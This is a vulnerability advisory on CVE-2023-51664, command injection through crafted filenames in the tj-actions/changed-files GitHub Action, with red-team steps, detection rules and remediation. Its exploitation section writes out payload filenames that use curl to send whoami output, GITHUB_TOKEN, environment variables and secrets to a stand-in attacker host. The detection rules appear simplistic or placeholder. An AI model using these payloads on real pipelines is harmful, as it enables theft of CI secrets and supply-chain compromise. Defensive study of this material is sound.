CVE-2023-51664
Executive Summary
CVE-2023-51664 is a critical command injection vulnerability in the tj-actions/changed-files GitHub Action, a widely used tool for retrieving changed files and directories in CI/CD pipelines. Prior to version 41.0.0, the action failed to properly sanitize filenames, allowing an attacker to inject arbitrary commands via specially crafted filenames. This can lead to arbitrary code execution within the GitHub Runner environment, potentially exposing secrets, modifying build artifacts, or compromising the CI/CD pipeline. The vulnerability has a CVSS score of 7.3 (High) and is currently unpatched in versions below 41.0.0. Immediate upgrade is strongly recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is a supply chain security issue, as it affects a GitHub Action that is commonly used in CI/CD workflows. Compromising this action can lead to the injection of malicious code into downstream software builds, affecting all consumers of the repository. The attack vector is through the repository's file system, where an attacker with the ability to create files with malicious names (e.g., via a pull request) can trigger command execution. This highlights the critical need for input validation in CI/CD tools and the importance of pinning action versions.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must run the action on a repository containing malicious filenames.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Secrets and sensitive data can be exfiltrated.
- Integrity (I): High (H) – Build artifacts and code can be modified.
- Availability (A): High (H) – The runner or pipeline can be disrupted.
Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and can have severe consequences, including full compromise of the CI/CD pipeline.
Deep Dive & Mechanics
The tj-actions/changed-files action retrieves a list of files that have been changed in a pull request or push event. It outputs this list as a string, which is then used in subsequent steps of the workflow. The vulnerability lies in how the action processes filenames. If a filename contains shell metacharacters (e.g., ;, |, $, `), and the output is used in a shell command without proper sanitization, an attacker can inject arbitrary commands.
For example, consider a workflow that uses the action to get changed files and then runs a command on each file:
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
- name: Run on changed files
run: |
for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
echo "Processing $file"
done
If an attacker creates a file named ; curl http://attacker.com/$(whoami) ;, the shell will interpret the semicolons and execute the injected command. The ${{ }} expression in GitHub Actions is evaluated before the shell, but the output is still passed to the shell, leading to injection.
The fix in version 41.0.0 sanitizes filenames by escaping shell metacharacters, preventing injection.
Vulnerable vs. Patched Code
Vulnerable Code (pre-41.0.0):
The action directly outputs filenames without sanitization. For example, in the src/main.ts file, the list of changed files is constructed and output as a string:
// Vulnerable: No sanitization
core.setOutput("all_changed_files", changedFiles.join(" "));
Patched Code (41.0.0+): The patched version sanitizes filenames by escaping shell metacharacters. For example:
// Patched: Sanitize filenames
const sanitizedFiles = changedFiles.map(file => file.replace(/[^a-zA-Z0-9_\-\.\/]/g, '\\$&'));
core.setOutput("all_changed_files", sanitizedFiles.join(" "));
This ensures that special characters are escaped, preventing command injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Ability to create files with arbitrary names in a repository (e.g., via a pull request).
- The repository uses
tj-actions/changed-filesversion < 41.0.0. - The workflow uses the output in a shell command.
Exploitation Steps:
Create a malicious file: In a pull request, create a file with a name containing a command injection payload. For example:
; curl http://attacker.com/$(whoami) ;This file can be created using
git:git checkout -b exploit-branch touch '; curl http://attacker.com/$(whoami) ;' git add . git commit -m "Exploit" git push origin exploit-branchTrigger the workflow: Open a pull request from the exploit branch. The workflow will run and execute the injected command.
Exfiltrate data: The injected command can exfiltrate secrets, environment variables, or other sensitive data. For example:
; curl http://attacker.com/$GITHUB_TOKEN ;
Example Payloads:
- Exfiltrate environment variables:
; curl http://attacker.com/$(env) ; - Exfiltrate a specific secret:
; curl http://attacker.com/${{ secrets.MY_SECRET }} ; - Modify build artifacts:
; echo "malicious" > /path/to/artifact ;
Blue Team (Defender)
Detection:
- Monitor for unusual filenames in pull requests, especially those containing shell metacharacters (
;,|,$,`,(,), etc.). - Review workflow logs for unexpected commands or network connections.
- Use the detection rules provided below.
Mitigation:
- Immediately upgrade
tj-actions/changed-filesto version 41.0.0 or later. - Pin action versions to specific commit hashes instead of tags to prevent supply chain attacks.
- Review and sanitize any user-controlled input used in shell commands.
- Implement least privilege for GitHub Actions tokens.
Indicators of Compromise (IOCs)
- File Names: Files containing shell metacharacters (e.g.,
;,|,$,`) in their names. - Network Connections: Outbound connections to attacker-controlled servers from GitHub Runners during workflow execution.
- Workflow Logs: Unexpected commands or errors in workflow logs, such as
curl,wget, or other network tools. - Process Anomalies: Execution of unexpected processes (e.g.,
curl,bash,python) in the runner environment.
Detection Engineering
YARA Rule
rule CVE_2023_51664_Command_Injection_Filename {
meta:
description = "Detects filenames with shell metacharacters indicative of CVE-2023-51664 exploitation"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-51664"
strings:
$shell_meta = /[;|$`(){}]/
condition:
$shell_meta at 0
}
Sigma Rule
title: CVE-2023-51664 Command Injection via Malicious Filename
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects GitHub Actions workflow runs where filenames contain shell metacharacters
author: Valters IT
date: 2024-01-01
logsource:
category: process_creation
product: github_actions
detection:
selection:
CommandLine|contains:
- ';'
- '|'
- '$'
- '`'
- '('
- ')'
condition: selection
falsepositives:
- Legitimate filenames with special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-51664 Command Injection via Malicious Filename"; flow:to_server,established; content:"|3b|"; http_uri; content:"|7c|"; http_uri; content:"|24|"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Upgrade: Update
tj-actions/changed-filesto version 41.0.0 or later.- name: Get changed files id: changed-files uses: tj-actions/changed-files@v41Pin Action Versions: Use commit hashes instead of tags to prevent supply chain attacks.
- name: Get changed files id: changed-files uses: tj-actions/changed-files@<commit-hash>Sanitize Input: If you must use the output in shell commands, sanitize filenames manually:
- name: Process files run: | for file in ${{ steps.changed-files.outputs.all_changed_files }}; do # Sanitize filename safe_file=$(echo "$file" | sed 's/[^a-zA-Z0-9_\-\.\/]/\\&/g') echo "Processing $safe_file" doneLeast Privilege: Limit the permissions of the
GITHUB_TOKENto only what is necessary.Monitor: Implement logging and monitoring for unusual filenames and workflow behavior.
Valters IT
Securing the Digital Frontier